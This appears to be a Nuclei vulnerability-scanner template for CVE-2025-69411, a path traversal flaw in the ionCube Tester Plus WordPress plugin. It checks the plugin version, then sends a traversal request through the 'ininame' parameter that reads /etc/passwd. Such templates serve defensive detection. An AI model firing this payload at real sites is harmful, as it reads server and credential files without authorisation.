id: CVE-2025-69411

info:
  name: ionCube Tester Plus <= 1.3 - Local File Inclusion
  author: pussycat0x
  severity: high
  description: |
    The ionCube Tester Plus plugin for WordPress versions <= 1.3 is vulnerable to unauthenticated arbitrary file read via path traversal. The 'ininame' parameter in loader-wizard.php is not properly sanitized, allowing attackers to read  sensitive files such as wp-config.php and /etc/passwd without authentication.
  remediation: |
    Update to the latest version beyond 1.3.
  impact:
    Attackers can access unauthorized files, potentially exposing sensitive information or system files.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ioncube-tester-plus/ioncube-tester-plus-13-unauthenticated-arbitrary-file-download
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69411
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-69411
    epss-score: 0.01609
    epss-percentile: 0.72757
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: ioncube
    product: ioncube-tester-plus
    framework: wordpress
  tags: cve,cve2025,wordpress,wp,wp-plugin,lfi,ioncube-tester-plus

flow: http(1) && http(2)

http:
  - method:
    path:
      - "{{BaseURL}}/wp-content/plugins/ioncube-tester-plus/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - compare_versions(version, '<= 1.3')
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - '(?i)Stable tag:\s+([0-9.]+)'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/ioncube-tester-plus/loader-wizard.php?page=phpconfig&download=1&ininame=../../../../../../../../etc/passwd"

    matchers:
      - type: dsl
        dsl:
          - contains(content_type, 'text/plain')
          - regex('root:.*:0:0:', body)
          - status_code == 200
        condition: and
# digest: 4b0a00483046022100862eab42c2ecf3a71e40228bb9f34d843af9c36eed6ed4ba0c6dba9e13eb0f34022100ede1fa106b37d726920e72c6c54449aef268b43de3508420b80e2c8067f275a6:922c64590222798bb761d5b6d8e72950